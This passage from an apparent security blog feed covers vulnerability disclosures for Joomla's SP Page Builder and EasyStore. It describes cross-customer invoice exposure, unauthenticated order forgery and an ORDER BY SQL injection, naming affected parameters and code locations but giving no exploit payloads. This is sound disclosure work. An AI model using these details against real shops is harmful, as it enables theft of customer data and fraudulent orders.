relay&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65766/&quot;&gt;CVE-2026-65766&lt;/a&gt; pre-auth SQL injection (9.2 Critical), &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65879&quot;&gt;CVE-2026-65879&lt;/a&gt; mail relay (9.8 Critical), &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65877/&quot;&gt;CVE-2026-65877&lt;/a&gt; media manager SQL injection (8.2 High), &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65878&quot;&gt;CVE-2026-65878&lt;/a&gt; arbitrary file delete (8.3 High), all assigned via the Joomla CNA on 27 July 2026 and now published. A fifth CVE against the same versions, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65876/&quot;&gt;CVE-2026-65876&lt;/a&gt; (&lt;code&gt;loadMoreArticles&lt;/code&gt; &lt;code&gt;catid&lt;/code&gt; SQL injection, 9.2 Critical), is not one of our findings and is still unfixed in 6.7.1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Impact&lt;/td&gt;&lt;td&gt;Anonymous read of the whole database including password hashes; unauthenticated arbitrary mail sending with sender spoofing; low-privilege database read and web-root file deletion&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Finder&lt;/td&gt;&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Affected versions&lt;/td&gt;&lt;td&gt;6.7.0 and all earlier versions (our four findings); 6.7.1 and earlier for &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65876/&quot;&gt;CVE-2026-65876&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed in&lt;/td&gt;&lt;td&gt;SP Page Builder 6.7.1 for our four findings. &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65876/&quot;&gt;CVE-2026-65876&lt;/a&gt; is unfixed as of 10 August 2026; JoomShaper says 6.8.0&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Reported&lt;/td&gt;&lt;td&gt;21 July 2026 (privately to JoomShaper)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Acknowledged&lt;/td&gt;&lt;td&gt;22 July 2026 (JoomShaper confirmed receipt, team informed)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Verified&lt;/td&gt;&lt;td&gt;23 July 2026 (mySites.guru confirmed all four fixes in a JoomShaper pre-release build)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed&lt;/td&gt;&lt;td&gt;27 July 2026 (SP Page Builder 6.7.1)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVE assigned&lt;/td&gt;&lt;td&gt;27 July 2026 (four IDs via the Joomla CNA, records pending publication)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-07&lt;/strong&gt; Four vulnerabilities in SP Page Builder 6.7.0 reported privately to JoomShaper A pre-authentication SQL injection through the Dynamic Content endpoint&apos;s ORDER BY, an unauthenticated mail relay through a hardcoded secret, an authenticated SQL injection in media, and an authenticated arbitrary file delete.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-23&lt;/strong&gt; JoomShaper shares a pre-release build The vendor sends the build, then ships the final release without telling us it was going out.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-27&lt;/strong&gt; 6.7.1 ships and four CVEs are assigned the same day CVE-2026-65766, CVE-2026-65877, CVE-2026-65878 and CVE-2026-65879. The changelog plays the severity down: a pre-authentication SQL injection that hands an anonymous visitor the whole database is written up as &quot;improved input validation and access control&quot;, and an open mail relay as &quot;improved submission verification&quot;. Once again there is no acknowledgement of the reporter.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-10&lt;/strong&gt; We correct this post: 6.7.1 fixed four issues, not five We had taken the CVE record&apos;s word for it rather than reading the code, because the fifth finding was not ours. CVE-2026-65876, an unauthenticated SQL injection through the catid parameter, is still there in 6.7.1 and is reported to be under active exploitation, while the CVE record still lists 6.7.1 as fixed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-12&lt;/strong&gt; 6.8.0 closes it, sixteen days after 6.7.1 The changelog entry reads &quot;Fixed an unauthenticated SQL injection in the article loading endpoint&quot;. We read the released package the same day and confirmed the category list is now sanitised. If you applied our stopgap between 10 and 12 August, take it out once you are on 6.8.0 or the Load more button stays broken.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;The June 2026 SP Page Builder icon-upload zero-day&lt;/a&gt; - the earlier, separate flaw in the same component, exploited in the wild and fixed in 6.6.2.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/quix-sql-injection-disclosure/&quot;&gt;Our Quix Page Builder SQL injection disclosure&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;month of Joomla security disclosures&lt;/a&gt; - the same class of bug across the ecosystem.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why AJAX endpoints are a CMS security blind spot&lt;/a&gt; - the recurring public-endpoint pattern behind flaws like these.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/89.html&quot;&gt;CWE-89: SQL Injection&lt;/a&gt;, &lt;a href=&quot;https://cwe.mitre.org/data/definitions/798.html&quot;&gt;CWE-798: Use of Hard-coded Credentials&lt;/a&gt; and &lt;a href=&quot;https://cwe.mitre.org/data/definitions/22.html&quot;&gt;CWE-22: Path Traversal&lt;/a&gt; - the official references for these weakness classes.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomshaper.com/downloads/extension&quot;&gt;JoomShaper downloads&lt;/a&gt; - the vendor&apos;s download page, currently offering 6.9.1.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>sp page builder</category><category>sql injection</category><category>vulnerability</category><category>responsible disclosure</category><enclosure url="https://mysites.guru/img/og/blog/sp-page-builder-sql-injection-mail-relay-disclosure.png" length="0" type="image/png"/></item><item><title>Exposed Customer Invoices, Order Forgery and SQL Injection in EasyStore for Joomla found by mySites.guru</title><link>https://mysites.guru/blog/easystore-security-disclosure/</link><guid isPermaLink="true">https://mysites.guru/blog/easystore-security-disclosure/</guid><description>Before EasyStore 2.0.2, any logged-in customer could read every other customer&apos;s invoice by editing one URL. mySites.guru found this and two more flaws.</description><pubDate>Thu, 23 Jul 2026 16:01:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.joomshaper.com/joomla-extensions/easystore&quot;&gt;EasyStore&lt;/a&gt; is JoomShaper’s ecommerce component for Joomla, the shopping-cart engine behind a growing number of Joomla shops. Here is the finding that will make any shop owner wince: before EasyStore &lt;strong&gt;2.0.2&lt;/strong&gt;, any logged-in customer could pull up every other customer’s order and printable invoice, with full name, email address, billing and shipping addresses, phone number and complete purchase history, &lt;strong&gt;by changing one number in the URL&lt;/strong&gt;. On a shop with open customer registration, which is most shops, “any logged-in customer” means anyone who signs up. mySites.guru found that during routine security research, along with two more issues that need no login at all, and reported all three to JoomShaper before disclosing anything publicly.&lt;/p&gt;
&lt;p&gt;If you run EasyStore on any Joomla site, update to 2.0.2 now. If you manage more than a handful of shops, read on for how to find every affected one at once, and for how JoomShaper chose to ship the fix.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;mySites.guru found &lt;strong&gt;three critical vulnerabilities&lt;/strong&gt; in EasyStore 2.0.1 and reported them to JoomShaper&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cross-customer invoice and order exposure.&lt;/strong&gt; The order and invoice views only checked that &lt;em&gt;someone&lt;/em&gt; was logged in, never that the order belonged to them, so &lt;strong&gt;any customer could read every other customer’s order and invoice&lt;/strong&gt; by changing the id in the URL. Names, emails, addresses, phone numbers, the lot&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unauthenticated order forgery.&lt;/strong&gt; An anonymous request to the order-repayment endpoint could mark any order &lt;strong&gt;paid&lt;/strong&gt; with no login, no token, and no contact with any payment gateway. Goods released without payment, and the same flaw rewrites any order’s fields by changing an id&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unauthenticated SQL injection.&lt;/strong&gt; The product-list sort parameter placed request input straight into the database query’s &lt;code&gt;ORDER BY&lt;/code&gt;, so an &lt;strong&gt;anonymous visitor could read the entire database&lt;/strong&gt;: Joomla accounts, password hashes, the site secret, and every customer record&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to EasyStore 2.0.2 immediately.&lt;/strong&gt; Affected: 2.0.1 and every earlier version&lt;/li&gt;
&lt;li&gt;Reported privately on 21 July 2026, fixed the next day in &lt;strong&gt;2.0.2&lt;/strong&gt;, but shipped with &lt;strong&gt;no security advisory and no credit&lt;/strong&gt;. The Joomla CNA has assigned three CVEs, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65759/&quot;&gt;CVE-2026-65759&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65760/&quot;&gt;CVE-2026-65760&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65761/&quot;&gt;CVE-2026-65761&lt;/a&gt;, and rated two of them &lt;strong&gt;Critical&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;mySites.guru already flags every connected Joomla site still running a vulnerable version, so you do not have to check each shop by hand&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;p&gt;mySites.guru discovered these issues and reported them to JoomShaper before publishing details. We withheld the exact requests and any proof-of-concept until a fix was available and site owners had a reasonable window to update. This is how we handle every vulnerability we find: fix first, publish second.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;How JoomShaper shipped the fix: with no announcement&lt;/h2&gt;
&lt;p&gt;We reported all three privately on 21 July 2026. JoomShaper replied on 22 July, confirmed they had reproduced and verified every one, said they were “treating these issues with the highest priority”, thanked us, and said they looked forward to continuing to work with us. The next day, 23 July, they shipped EasyStore &lt;strong&gt;2.0.2&lt;/strong&gt;, and it closes all three.&lt;/p&gt;
&lt;p&gt;To be fair to the code, we checked. We downloaded 2.0.2 and read the exact paths we had reported: the repayment endpoint now requires a token, checks that the order belongs to the caller, and takes the payment status from the stored order rather than from the request; the product sort is restricted to a fixed &lt;code&gt;ASC&lt;/code&gt;/&lt;code&gt;DESC&lt;/code&gt; allow-list; and the order and invoice views now verify that the order belongs to the person viewing it. The fix is correct and complete, and we have no complaint about the code.&lt;/p&gt;
&lt;p&gt;The handling is another matter. The 2.0.2 release has no security advisory, the changelog never says “security release”, and the three fixes sit among routine feature additions and cosmetic bug fixes, each written in language a shop owner would read straight past. Here is the changelog as JoomShaper published it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/easystore-2-0-2-changelog.R5WuHx7n_Z2tb6Ei.webp&quot; srcset=&quot;https://mysites.guru/_astro/easystore-2-0-2-changelog.R5WuHx7n_Z1gORRA.webp 640w, https://mysites.guru/_astro/easystore-2-0-2-changelog.R5WuHx7n_Z1rTq5P.webp 750w, https://mysites.guru/_astro/easystore-2-0-2-changelog.R5WuHx7n_1kUlFQ.webp 828w, https://mysites.guru/_astro/easystore-2-0-2-changelog.R5WuHx7n_Z2tb6Ei.webp 1026w&quot; alt=&quot;The EasyStore 2.0.2 changelog dated 23 July 2026 as published by JoomShaper. An Updates section lists four routine entries: customization options for product specification display (Pro only), tracking URL support in the order detail summary header, custom class support for addons in settings (Pro only), and improved range slider validation. A Fixes section lists seven entries with no visual distinction between them: updated rating descriptions and language strings, resolved coupon condition issues, resolved addon settings class undefined issue on product list (Pro only), product gallery thumbnail and main image now update correctly on variant selection, then the three security fixes worded as ordinary bugs: fixed unauthenticated order state manipulation in the checkout repay task, added strict allowlist sanitization for product list sorting options, and enforced user ownership verification on order details and invoice views&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1026px) 1026px, 100vw&quot; width=&quot;1026&quot; height=&quot;922&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The three critical security fixes are the last three lines of the Fixes list, sitting directly under a coupon bug and a product gallery thumbnail glitch, with nothing to mark them out as different. Here is what we reported, set against the exact words JoomShaper used to describe each fix:&lt;/p&gt;

























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Our finding&lt;/th&gt;&lt;th&gt;How JoomShaper described it in the 2.0.2 changelog&lt;/th&gt;&lt;th&gt;Severity (CVSS 4.0)&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Any logged-in customer could read every other customer’s order and invoice by changing the id in the URL&lt;/td&gt;&lt;td&gt;&lt;em&gt;“Enforced user ownership verification on order details and invoice views”&lt;/em&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;9.2, Critical&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;An anonymous request could mark any order paid, and rewrite any order’s fields, with no login&lt;/td&gt;&lt;td&gt;&lt;em&gt;“Fixed unauthenticated order state manipulation in the checkout repay task”&lt;/em&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;8.7, High&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;An anonymous visitor could read the entire database through the product sort parameter&lt;/td&gt;&lt;td&gt;&lt;em&gt;“Added strict allowlist sanitization for product list sorting options”&lt;/em&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;9.3, Critical&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Only one of those three lines even contains the word “unauthenticated”. There was no coordinated disclosure date, no heads-up that the release was going out, no CVE requested, and no credit to the finder. A shop owner scanning that changelog has no way to know that 2.0.2 is the most urgent update EasyStore has shipped this year, or that staying on 2.0.1 leaves every customer’s invoice one URL edit away from any logged-in visitor.&lt;/p&gt;
&lt;p&gt;Because JoomShaper did not request one, mySites.guru took these issues to the Joomla CNA, which assigned three CVEs on 23 July 2026: &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65759/&quot;&gt;CVE-2026-65759&lt;/a&gt; for the order forgery, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65760/&quot;&gt;CVE-2026-65760&lt;/a&gt; for the cross-customer invoice disclosure and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65761/&quot;&gt;CVE-2026-65761&lt;/a&gt; for the SQL injection. The CVE records name Phil Taylor as the finder, the credit JoomShaper’s own release withheld. The CNA rated the SQL injection 9.3 Critical and the invoice disclosure 9.2 Critical, higher than our own conservative scores. There is now a public, citable record that does not depend on a changelog line reading like a slider tweak.&lt;/p&gt;
&lt;p&gt;Neither of those steps should have fallen to us. The Joomla Security Strike Team has since proposed a Manual page for extension developers, and &lt;a href=&quot;https://mysites.guru/blog/joomla-extension-security-disclosure-standard/&quot;&gt;points 11 and 12 of those twenty rules&lt;/a&gt; cover exactly this: request the CVE from the Joomla CNA before you disclose, and always offer the reporter credit in the wording they choose.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Treat EasyStore 2.0.2 as an urgent security release, whatever its changelog implies. Two of the three flaws need no login, and the third exposes your entire customer base’s personal data to anyone who can register. If a vulnerable version was live on a shop that handles real customers, this is a personal-data breach you may be obliged to report.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;The three flaws in detail&lt;/h2&gt;
&lt;p&gt;EasyStore is a full ecommerce component: products, a cart, checkout, orders, invoices, coupons and payment plugins. That is a large front-end attack surface, because a shop has to accept requests from anonymous visitors to function. Most of it is built carefully. Three places were not.&lt;/p&gt;
&lt;h3&gt;1. Every customer’s invoice, one URL edit away&lt;/h3&gt;
&lt;p&gt;The flaw that leads this post is a broken access control, the kind that exposes personal data. EasyStore’s order detail page and its printable invoice only checked that &lt;em&gt;someone&lt;/em&gt; was logged in. They never checked that the order being viewed actually belonged to the person viewing it. The query that loads the order (&lt;code&gt;OrderManager.php:917-938&lt;/code&gt;) filtered on the order id alone, with no customer-ownership condition.&lt;/p&gt;
&lt;p&gt;Because order ids are sequential integers, any logged-in customer could walk through them one by one and read every other customer’s order and printable invoice: full name, email address, billing and shipping addresses, phone number, and complete purchase history. Change &lt;code&gt;id=1041&lt;/code&gt; to &lt;code&gt;id=1042&lt;/code&gt; and you are looking at the next customer’s invoice. On a shop with open customer registration, “any logged-in customer” means anyone. That is a serious personal-data exposure and, under the UK GDPR and equivalents, a reportable breach if it happened on a live shop.&lt;/p&gt;
&lt;p&gt;The tell here is that EasyStore already gets this right elsewhere. Guest orders are protected by an unguessable token emailed to the customer, and the order-cancel path does check ownership. The detail and invoice views simply missed the same check. The fix (which we confirmed in 2.0.2) adds the ownership condition so a customer can only ever load their own orders.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Data exposure like this leaves no trace. No file changes, no new admin user, nothing for an integrity scanner to catch. If a vulnerable version was ever live on a shop with real customers, you have to assume the customer list and its invoices were reachable, and handle it as a potential data breach.&lt;/p&gt;&lt;/div&gt;
&lt;h3&gt;2. Marking any order paid, for free, with no login&lt;/h3&gt;
&lt;p&gt;The most direct of the three, and it needs no account. EasyStore has an order-repayment path, meant to let a customer retry payment on an order. The endpoint took the order details straight from the request body as JSON, including the &lt;strong&gt;payment status&lt;/strong&gt;, and for any enabled manual payment method (Cash on Delivery is enabled by default and qualifies) it wrote that status to the database.&lt;/p&gt;
&lt;p&gt;The root cause was in the checkout controller, which built the order object from client JSON and called &lt;code&gt;updateOrder()&lt;/code&gt;, ending in a blind write at &lt;code&gt;OrderController.php:299&lt;/code&gt; (&lt;code&gt;$orm-&amp;gt;update(&apos;#__easystore_orders&apos;, $data, &apos;id&apos;)&lt;/code&gt;). Nothing in that path checked a login, a CSRF token, ownership of the order, or, crucially, whether any payment actually happened. There was no call to a payment gateway anywhere in it.&lt;/p&gt;
&lt;p&gt;So an anonymous attacker could send one crafted request and flip any order to &lt;code&gt;paid&lt;/code&gt;. On a shop that ships on payment status, that is goods dispatched for free. Because the order id is attacker-chosen and sequential, the same flaw also let an attacker rewrite arbitrary fields on &lt;strong&gt;any&lt;/strong&gt; order in the shop, addresses, customer id and discount included.&lt;/p&gt;
&lt;p&gt;We proved it on our own EasyStore test install: a single anonymous request turned a test order from &lt;code&gt;unpaid&lt;/code&gt; to &lt;code&gt;paid&lt;/code&gt;, and we then restored the test data. The fix (confirmed in 2.0.2) ties the repayment path to the real customer, requires a token, and only ever sets payment status from the stored order or a verified gateway response.&lt;/p&gt;
&lt;h3&gt;3. Unauthenticated SQL injection through the product sort&lt;/h3&gt;
&lt;p&gt;The product listing lets shoppers sort results, and the sort option arrives in a request parameter, &lt;code&gt;filter_sortby&lt;/code&gt;. EasyStore split that value into a column and a direction, and the direction was passed through to the database query’s &lt;code&gt;ORDER BY&lt;/code&gt; clause &lt;strong&gt;without being checked against a list of allowed values&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The direction helper (&lt;code&gt;FilterHelper.php:741&lt;/code&gt;) returned the request’s direction unchanged, and the model (&lt;code&gt;ProductsModel.php:923&lt;/code&gt;) concatenated it straight into the query. A sort direction is one of the few places you cannot simply quote a value safely, which is exactly why the surrounding code has to restrict it to &lt;code&gt;ASC&lt;/code&gt; or &lt;code&gt;DESC&lt;/code&gt;. This path did not, while the sibling brand and collection listings did. That gap was the bug.&lt;/p&gt;
&lt;p&gt;The consequence is a textbook &lt;a href=&quot;https://owasp.github.io/www-community/attacks/SQL_Injection&quot;&gt;SQL injection&lt;/a&gt; reachable by an anonymous visitor: an attacker could read any table in the Joomla database, from user accounts and password hashes to the site secret and every customer’s stored order data. We confirmed it on our test install with a time-based proof, a crafted sort value that made the database pause for a measurable few seconds versus an instant baseline, which shows the injected code ran. We did not extract real data. The fix (confirmed in 2.0.2) restricts the direction to a fixed allow-list before it reaches the query.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;A database read writes nothing. No file changes, no new admin user, no web shell, nothing for an integrity scanner to find. If a vulnerable version was ever live on a busy shop, treat the database as potentially copied: rotate the Joomla secret and any stored API keys, and assume password hashes are known.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;Fair credit: the PayPal side was built correctly&lt;/h2&gt;
&lt;p&gt;It would be easy to read three findings and conclude the whole component is careless. It is not. The part that most often goes wrong in ecommerce extensions, the payment gateway callback, is built properly here. EasyStore’s PayPal webhook verifies the notification’s cryptographic signature, checks the merchant email, and reads the payment status back from PayPal’s own signed response rather than trusting request parameters. The order total is computed server-side from the database, not taken from the client. That is the right way to do it, and it is worth saying so.&lt;/p&gt;
&lt;p&gt;The order-forgery flaw was not a weakness in PayPal handling. It was a separate, manual-payment code path that skipped the checks the gateway path applied. The lesson is a familiar one: security has to hold on &lt;strong&gt;every&lt;/strong&gt; path that changes state, not just the obvious one.&lt;/p&gt;
&lt;h2&gt;Which versions are affected?&lt;/h2&gt;
&lt;p&gt;EasyStore &lt;strong&gt;2.0.1&lt;/strong&gt;, the current release at the time of disclosure, and &lt;strong&gt;every earlier version&lt;/strong&gt; are affected by all three issues. JoomShaper fixed them in EasyStore &lt;strong&gt;2.0.2&lt;/strong&gt;, released 23 July 2026.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;If you run any version of EasyStore earlier than 2.0.2, assume your shop is affected and update now. Two of the three flaws need no login, so there is no second precondition for an attacker to satisfy: if the shop is online, the endpoints are reachable.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;How do you update EasyStore safely?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Take a backup first.&lt;/strong&gt; Before any extension update on a production Joomla site, back up the database and files. If you use mySites.guru, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;trigger a snapshot&lt;/a&gt; or a &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;full backup&lt;/a&gt; first.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update through Joomla’s Extensions manager, or in bulk from mySites.guru.&lt;/strong&gt; On a single site, open the Joomla administrator, go to System, then Update, then Extensions, and let Joomla pull EasyStore 2.0.2. If you manage more than one shop, use the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass update feature to upgrade EasyStore across every affected site from one dashboard&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confirm the version.&lt;/strong&gt; After updating, check EasyStore reports 2.0.2 or later.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Clear caches.&lt;/strong&gt; Clear Joomla’s cache and any CDN or page cache.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Updating closes the door. It does not undo any data an attacker may already have read, so if you handle customer data and were on a vulnerable version for a while, treat credentials and exposed data as potentially known, and review recent orders for any that were marked paid without a matching payment.&lt;/p&gt;
&lt;h2&gt;How do I find every EasyStore shop I manage?&lt;/h2&gt;
&lt;p&gt;The first question after any extension security release is the awkward one: which of my sites actually run this? Up to about ten sites, you can log in to each Joomla admin and check. Past that, you need a single view.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps a live inventory of every extension, template and framework on every Joomla and WordPress site in your account. You search for EasyStore once and get back every connected site running it, the version each one is on, and whether an update is available.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;View every EasyStore install across your sites&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Search for EasyStore across every connected Joomla site and filter for anything earlier than 2.0.2. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;Why ecommerce extensions have extra weight&lt;/h2&gt;
&lt;p&gt;A shop is not a brochure. When a page builder has a bug, the exposure is the site’s data. When an ecommerce component has one, the exposure is the site’s data plus its customers’ personal and order details, plus, in the order-forgery case, real money. That raises the stakes on exactly the code that has to accept anonymous requests to work: the cart, the checkout, the payment callbacks.&lt;/p&gt;
&lt;p&gt;We have found the same shape of issue across the Joomla extension ecosystem this year, in &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;page builders&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;form builders&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;calendars&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;newsletter systems&lt;/a&gt;: a public endpoint that reaches a sensitive operation with too little checking in between. The lesson is not “avoid these tools”. The reputable ones are usually well maintained, and the EasyStore fix itself is solid. What let this one down was not the code but the handling: a set of critical flaws patched with no security notice, which leaves the shop owners who most need to update fastest with the least reason to think they must. Keeping these extensions updated is security-critical, not just feature maintenance, and that is far easier when something is watching the versions for you.&lt;/p&gt;
&lt;h2&gt;Stay ahead of the next one&lt;/h2&gt;
&lt;p&gt;There will be another, because Joomla runs on thousands of third-party extensions and the ones that accept input from anonymous visitors keep producing bugs like these. The hard part is never the update itself. It is knowing a fix exists, knowing which of your sites are affected, and getting to them before an attacker does, which is harder still when a critical fix ships without a word about security.&lt;/p&gt;
&lt;p&gt;That is the job mySites.guru does for you. It keeps a live inventory of every extension on every Joomla and WordPress site in your account, flags the ones with a known vulnerability, and lets you push the update to all of them from one screen.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Get free email alerts when a Joomla vulnerability breaks&lt;/p&gt;&lt;p&gt;We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to security alerts&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Want the alerts and the tooling to act on them? Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site and see your full extension inventory, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; to get vulnerability alerts and one-click updates across every site you manage.&lt;/p&gt;
&lt;h2&gt;Disclosure and severity&lt;/h2&gt;
&lt;p&gt;Two of these three flaws are reachable by an anonymous visitor over the network with no privileges: the order forgery (a broken access control that changes order state and payment status, CWE-862 and CWE-639) and the SQL injection (CWE-89). The third, cross-customer order and invoice disclosure, is an insecure direct object reference (CWE-639) reachable by any authenticated customer.&lt;/p&gt;
&lt;p&gt;The Joomla CNA scored these three issues when it assigned the CVEs, and rated two of the three &lt;strong&gt;Critical&lt;/strong&gt;: the SQL injection (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65761/&quot;&gt;CVE-2026-65761&lt;/a&gt;) at &lt;strong&gt;9.3&lt;/strong&gt; and the cross-customer invoice disclosure (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65760/&quot;&gt;CVE-2026-65760&lt;/a&gt;) at &lt;strong&gt;9.2&lt;/strong&gt;, with the order forgery (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65759/&quot;&gt;CVE-2026-65759&lt;/a&gt;) at &lt;strong&gt;8.7, High&lt;/strong&gt;. Our own pre-assignment scores were more conservative, and it is worth being open about why. We scored the SQL injection 8.7 on confidentiality alone, treating it as a read through the sort clause; the CNA scored it across confidentiality, integrity and availability, which takes it to 9.3. We scored the invoice disclosure 7.1 because in practice it needs a logged-in customer account; the CNA scored it with no privilege requirement and a system-level confidentiality impact, which takes it to 9.2. The direction is the same either way, and we treat all three with the urgency the Critical ratings imply.&lt;/p&gt;
&lt;p&gt;Each finding, scored under CVSS 4.0 by the Joomla CNA, worst first:&lt;/p&gt;
